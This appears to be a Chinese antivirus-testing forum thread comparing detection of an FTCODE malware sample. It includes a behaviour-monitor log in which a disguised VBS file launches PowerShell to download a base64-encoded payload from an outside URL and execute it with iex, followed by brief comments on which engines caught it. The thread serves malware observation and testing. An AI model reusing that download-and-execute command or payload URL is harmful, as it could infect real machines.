#FTCODE (2020-04-03)

桑德尔

nortonMiss

3801187

2020/4/3 16:48:29        c:\windows\explorer.exe        创建新进程        c:\windows\system32\wscript.exe        允许        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [子应用程序]c:\windows\*        命令行: "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Desktop\Scan_8146540834_NewDocument.vbs"
2020/4/3 16:48:35        c:\windows\system32\wscript.exe        创建新进程        c:\windows\system32\windowspowershell\v1.0\powershell.exe        允许        [应用程序组]系统工具 -> [应用程序]c:\windows\system32\wscript.exe        命令行: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" theca="vwahi";iex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Object Net.WebClient).DownloadString('http://life.chrishenel.com/?need=dfgee52&vid=vb8&28
2020/4/3 16:48:45        c:\windows\system32\conhost.exe        向其他进程发送消息        c:\windows\system32\windowspowershell\v1.0\powershell.exe        阻止        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [目标应用程序]c:\windows\*        消息: WM_SETICON
2020/4/3 16:48:51        c:\windows\system32\conhost.exe        向其他进程发送消息 (3)        c:\windows\system32\windowspowershell\v1.0\powershell.exe        阻止        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [目标应用程序]c:\windows\*        消息: WM_GETICON
2020/4/3 16:48:53        c:\windows\system32\conhost.exe        向其他进程发送消息        c:\windows\system32\windowspowershell\v1.0\powershell.exe        阻止        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [目标应用程序]c:\windows\*        消息: WM_SETICON
2020/4/3 16:48:58        c:\windows\system32\conhost.exe        向其他进程发送消息 (3)        c:\windows\system32\windowspowershell\v1.0\powershell.exe        阻止        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [目标应用程序]c:\windows\*        消息: WM_GETICON
2020/4/3 16:49:02        c:\windows\system32\conhost.exe        向其他进程发送消息        c:\windows\system32\windowspowershell\v1.0\powershell.exe        阻止        [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [目标应用程序]c:\windows\*        消息: WM_SETTEXT
2020/4/3 16:49:07        c:\windows\system32\services.exe        修改其他进程的线程        c:\windows\system32\windowspowershell\v1.0\powershell.exe        允许        [应用程序]c:\windows\system32\services.exe       

嗜血大叔

Norton miss

54ss

av_lab 发表于 2020-4-3 16:32
BD引擎的管家

那么多大杀器不报 BD报了 让我有一种BD杀脚本很强的错觉

54ss

BEST
C:\Users\JOJO\Desktop\#FTCODE (2020-04-03).zip=>Scan_8146540834_NewDocument.vbs
VB:Trojan.Valyria.2882
删除

av_lab

54ss 发表于 2020-4-4 00:14
那么多大杀器不报 BD报了 让我有一种BD杀脚本很强的错觉

各有各的优点，我笔记本电脑安装了BD，图个清静不折腾